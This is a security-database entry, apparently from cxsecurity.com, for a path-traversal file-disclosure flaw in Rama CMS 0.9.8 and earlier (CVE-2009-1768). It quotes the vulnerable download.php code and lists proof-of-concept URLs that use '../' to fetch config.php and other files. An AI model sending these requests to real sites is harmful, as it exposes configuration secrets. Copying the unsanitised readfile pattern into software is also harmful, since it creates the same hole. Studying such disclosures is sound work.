Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
Rama CMS <= 0.9.8 (download.php file) File Disclosure Vulnerability
2009-05-24 / 2009-05-25
Credit:
Br0ly
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2009-1768
CWE:
CWE-22
Ogólna skala CVSS:
5/10
Znaczenie:
2.9/10
Łatwość wykorzystania:
10/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Niska
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Brak
Wpływ na dostępność:
Brak
#Start info: { # #Script Name: Rama Zaitan Cms # Script Project: http://sourceforge.net/project/showfiles.php?group_id=212495&package_id=255590 # Download: http://sourceforge.net/project/downloading.php?group_id=212495&filename=cms975.zip&a=5782381 # # 0.9.5 <= Versions <=0.9.8 # # by Br0ly. # br0ly.Code@gmail.com # # Brasil. # # Gretz: str0ke , Osirys, xscholler , 6_Bl4ck9_f0x6 and all my friends. # # Sorry for my bad english. ;/ # #End info } Php code : <?php $dir = 'uploads/'; $file = $_GET['file']; <-----------------------------------------------------------------> Vul header('Content-Disposition: attachment; filename='.$file); switch ($_GET['type']) { case 'Doc': header ('Content-type: application/msword'); break; case 'Excel': header ('Content-type: application/vnd.ms-excel'); break; case 'ZIP': header ('Content-type: application/zip'); break; case 'PPT': header ('Content-type: application/vnd.ms-powerpoint'); break; case 'PDF': header ('Content-type: application/pdf'); break; default: header ('application/force-download'); } readfile("$dir$file"); <-------------------------------------------------------> Vul ?> p0f : http://locahost/ramacms/download.php?file=download.php http://locahost/ramacms/download.php?file=../index.php http://locahost/ramacms/download.php?file=../config.php ;D
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top